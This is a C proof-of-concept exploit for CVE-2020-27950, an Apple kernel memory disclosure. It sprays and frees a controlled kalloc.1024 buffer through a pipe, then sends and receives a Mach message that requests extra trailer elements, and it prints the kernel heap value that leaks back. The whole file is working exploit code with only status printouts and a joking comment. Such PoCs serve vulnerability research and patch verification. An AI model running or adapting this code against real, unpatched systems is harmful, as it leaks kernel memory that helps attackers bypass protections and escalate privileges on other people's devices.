// CVE-2020-27950 simple PoC

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <mach/mach.h>

#define MAGIC 0x416e7953 // 'SynA'

int main(int argc, char *argv[]) {
	mach_port_t port;
	int fd[2];

	mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
	mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

	printf("[+] Allocating controlled (magic value %x) kalloc.1024 buffer\n", MAGIC);
	uint32_t *pipe_buff = malloc(1020);
	for (int i = 0; i < 1020 / sizeof(uint32_t); i++)
		pipe_buff[i] = MAGIC;
	pipe(fd);
	write(fd[1], pipe_buff, 1020);
	
	printf("[+] Creating kalloc.1024 ipc_kmsg\n");
	mach_msg_base_t *message = NULL;

	// size to fit in kalloc.1024, trust me, I'm an expert (c)
	mach_msg_size_t message_size = (mach_msg_size_t)(sizeof(*message) + 0x1e0); 

	message = malloc(message_size + MAX_TRAILER_SIZE);
	memset(message, 0, message_size + MAX_TRAILER_SIZE);
	message->header.msgh_size = message_size;
	message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
	message->body.msgh_descriptor_count = 0;
	message->header.msgh_remote_port = port;

	uint8_t *buffer;
	buffer = malloc(message_size + MAX_TRAILER_SIZE);

	printf("[+] Freeing controlled buffer\n");
	close(fd[0]);
	close(fd[1]);

	printf("[+] Sending message\n");
	mach_msg(&message->header, MACH_SEND_MSG, message_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
	memset(buffer, 0, message_size + MAX_TRAILER_SIZE);
	printf("[+] Now reading message back\n");
	mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, message_size + MAX_TRAILER_SIZE, 
		port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
	
	mach_msg_mac_trailer_t *trailer = (mach_msg_mac_trailer_t*)(buffer + message_size);
	printf("[+] Leaked value: %x\n", trailer->msgh_ad);

	return 0;
}